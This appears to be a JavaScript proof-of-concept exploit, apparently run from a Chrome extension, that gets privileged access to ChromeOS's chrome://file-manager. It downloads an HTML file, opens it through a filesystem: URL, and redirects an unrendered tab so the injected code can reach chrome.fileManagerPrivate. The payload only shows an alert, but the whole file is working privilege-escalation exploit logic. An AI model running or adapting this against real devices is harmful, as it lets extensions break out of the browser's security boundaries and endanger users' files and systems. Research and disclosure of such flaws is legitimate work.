const INTENDED_FILE_NAME = "chrome-url-code-exec2.html"; const INJECTED_FUNCTION = () => { let realFileManager = open('invalid:url') // create unrendered tab setTimeout(() => { // by the time this runs, realFileManager will have been redirected to file-manager // by the extension, and we will still have access to it let hasPrivateApi = !!realFileManager.chrome.fileManagerPrivate realFileManager.alert(`Hello! Does chrome.fileManagerPrivate exist: ${hasPrivateApi}`) }, 2000) } /**/ let delay = ms => new Promise(resolve => setTimeout(resolve, ms)) function getUserIdFromFileUrl(fileUrl) { return fileUrl.split('-')[1].split('/')[0]; } function getFilesystemUrl(userId, fileName) { return `filesystem:chrome://file-manager/external/Downloads-${userId}/Downloads/${fileName}` } /**/ chrome.downloads.download({ url: `data:text/html,`, filename: INTENDED_FILE_NAME, conflictAction: "overwrite" }, onDownloadDone) async function onDownloadDone(fileId) { let [file] = await chrome.downloads.search({id: fileId}); if (!file.filename) { await delay(200) return onDownloadDone(fileId); } let userId = getUserIdFromFileUrl(file.filename) let vulnUrl = getFilesystemUrl(userId, INTENDED_FILE_NAME) await delay(200) await chrome.tabs.create({ url: vulnUrl }) // during this delay, the invalid url is opened by INJECTED_FUNCTION await delay(500) let openTabs = await chrome.tabs.query({}) let unrenderedTab = openTabs.find(t => !t.url) if (!unrenderedTab) { return console.error("ERR1") } await delay(500) await chrome.tabs.update(unrenderedTab.id, {url: "chrome://file-manager"}) await delay(500) await chrome.tabs.reload(unrenderedTab.id) }